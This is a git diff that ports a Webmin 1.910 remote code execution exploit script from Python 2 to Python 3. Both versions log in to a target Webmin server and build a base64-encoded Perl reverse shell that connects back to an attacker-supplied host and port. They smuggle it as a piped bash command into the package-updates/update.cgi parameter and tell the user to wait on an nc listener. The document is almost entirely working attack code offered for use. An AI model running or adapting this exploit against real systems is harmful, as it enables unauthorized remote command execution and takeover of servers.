diff --git a/README.md b/README.md index edb7fbc..7e820dd 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# Webmin-1.910-Exploit-Script +# Webmin-1.910-Exploit-Script (PYTHON 3 version) #### Webmin 1.910 - Remote Code Execution Using Python Script # Usage diff --git a/webmin_exploit.py b/webmin_exploit.py index 6df8bf6..58f28e8 100644 --- a/webmin_exploit.py +++ b/webmin_exploit.py @@ -1,71 +1,87 @@ -#!/usr/bin/env python2 -# -*- coding: utf8 -*- +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + import requests import urllib3 urllib3.disable_warnings() import argparse import sys +import base64 from termcolor import colored - -arg_parser = argparse.ArgumentParser(description='Webmin 1.910 - Remote Code Execution using, python script') -arg_parser.add_argument('--rhost', dest='rhost', help='Ip address of the webmin server', type=str, required=True) -arg_parser.add_argument("--rport", dest="rport", type=int, help="target webmin port, default 10000", default=10000) -arg_parser.add_argument('--lhost', dest='lhost', help='Local ip address to listen for the reverse shell', type=str, required=True) -arg_parser.add_argument("--lport", dest="lport", type=int, help="The Bind port for the reverse shell\n Default is 4444", default=4444) -arg_parser.add_argument('-u','--user', dest='user', help='The username to use for authentication\n By default is admin', default='admin', type=str) -arg_parser.add_argument('-p','--password', dest='password', help='The password to use for authentication', required=True, type=str) -arg_parser.add_argument('-t','--TARGETURI', dest='targeturi', help='Base path for Webmin application. By default set to "/"', default='/',type=str) -arg_parser.add_argument('-s','--SSL', dest='ssl', help='Negotiate SSL/TLS for outgoing connections. By default ssl is set to False', default='False',type=str) +arg_parser = argparse.ArgumentParser(description='Webmin 1.910 - Remote Code Execution using Python 3 script') +arg_parser.add_argument('--rhost', dest='rhost', help='IP address of the Webmin server', type=str, required=True) +arg_parser.add_argument("--rport", dest="rport", type=int, help="Target Webmin port, default 10000", default=10000) +arg_parser.add_argument('--lhost', dest='lhost', help='Local IP address to listen for the reverse shell', type=str, required=True) +arg_parser.add_argument("--lport", dest="lport", type=int, help="Bind port for the reverse shell (default: 4444)", default=4444) +arg_parser.add_argument('-u', '--user', dest='user', help='Username for authentication (default: admin)', default='admin', type=str) +arg_parser.add_argument('-p', '--password', dest='password', help='Password for authentication', required=True, type=str) +arg_parser.add_argument('-t', '--TARGETURI', dest='targeturi', help='Base path for Webmin (default: /)', default='/', type=str) +arg_parser.add_argument('-s', '--SSL', dest='ssl', help='Use SSL (default: False)', default='False', type=str) args = arg_parser.parse_args() -# proxy set for test -proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'} -# retrieve the Cookies sid: -print colored('****************************** Webmin 1.910 Exploit By roughiz*******************************', "blue") -print colored('*********************************************************************************************', "blue") -print colored('*********************************************************************************************', "blue") -print colored('*********************************************************************************************', "blue") -print colored('****************************** Retrieve Cookies sid *****************************************', "blue") +# proxy for testing (optional) +proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} + +print(colored('****************************** Webmin 1.910 Exploit By roughiz *******************************', "blue")) +print(colored('*********************************************************************************************', "blue")) +print(colored('****************************** Retrieve Cookies sid *****************************************', "blue")) + +req = {'page': '', 'user': args.user, 'pass': args.password} -req={'page':'','user':args.user,'pass':args.password} if args.ssl.lower() in ('yes', 'true', 't', 'y', '1'): - url="https://"+args.rhost+":"+str(args.rport)+args.targeturi + url = "https://" + args.rhost + ":" + str(args.rport) + args.targeturi else: - url="http://"+args.rhost+":"+str(args.rport)+args.targeturi + url = "http://" + args.rhost + ":" + str(args.rport) + args.targeturi -resu=requests.post(url+"session_login.cgi",data=req, cookies={"testing":"1"}, verify=False, allow_redirects=False) -if "This web server is running in SSL mode" in resu.content: - print colored('********** [+] [Exploit][ERROR] Enable the ssl arg !!', "red") - print(resu.content) +try: + resu = requests.post(url + "session_login.cgi", data=req, cookies={"testing": "1"}, verify=False, allow_redirects=False) +except Exception as e: + print(colored(f"[ERROR] Connection failed: {e}", "red")) sys.exit(1) -if "sid" in resu.headers['Set-Cookie']: - sid= resu.headers['Set-Cookie'].replace('\n', '').split('=')[1].split(";")[0].strip() - print("\n") - print colored('********** [+] [Exploit] The Cookie is '+sid, "green") + +if "This web server is running in SSL mode" in resu.text: + print(colored('[+] [Exploit][ERROR] Enable the ssl arg !!', "red")) + print(resu.text) + sys.exit(1) + +if 'Set-Cookie' in resu.headers and "sid" in resu.headers['Set-Cookie']: + sid = resu.headers['Set-Cookie'].replace('\n', '').split('=')[1].split(";")[0].strip() + print("\n") + print(colored('[+] [Exploit] The Cookie is ' + sid, "green")) else: - print colored('********** [+] [Exploit][ERROR] The authentication to the webmin server failed', "red") - sys.exit(1) + print(colored('[+] [Exploit][ERROR] Authentication to Webmin server failed', "red")) + sys.exit(1) print("") -print colored('********************************************************************************************', "blue") -print colored('****************************** Create payload and Exploit ***********************************', "blue") +print(colored('****************************** Create payload and Exploit ***********************************', "blue")) print("\n") -# Templateofthe payload -template="perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,\""+args.lhost+":"+str(args.lport)+"\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'" -b64payload = template.encode('base64').replace('\n', '').strip() -payload=' | bash -c "{echo,'+b64payload+'}|{base64,-d}|{bash,-i}"' +# Payload template +template = ( + "perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}" + "$c=new IO::Socket::INET(PeerAddr,\"" + args.lhost + ":" + str(args.lport) + "\");" + "STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'" +) -## request the payload -req={'u':['acl/apt',payload]} -headers= {'Connection': 'close','referer': url+"package-updates/?xnavigation=1"} +# Base64 encode the payload +b64payload = base64.b64encode(template.encode()).decode().replace('\n', '').strip() +payload = ' | bash -c "{echo,' + b64payload + '}|{base64,-d}|{bash,-i}"' + +# Send the payload +req = {'u': ['acl/apt', payload]} +headers = { + 'Connection': 'close', + 'Referer': url + "package-updates/?xnavigation=1" +} try: - resu=requests.post(url+"package-updates/update.cgi",data=req, cookies={"sid":sid}, verify=False, allow_redirects=False, headers=headers, timeout=10) + resu = requests.post(url + "package-updates/update.cgi", data=req, cookies={"sid": sid}, verify=False, + allow_redirects=False, headers=headers, timeout=10) except requests.Timeout: pass except requests.ConnectionError: pass + print('\n') -print colored('********** [+] [Exploit] Verify you nc listener on port '+str(args.lport)+' for the incomming reverse shell', "green") +print(colored('[+] [Exploit] Check your nc listener on port ' + str(args.lport) + ' for the reverse shell', "green"))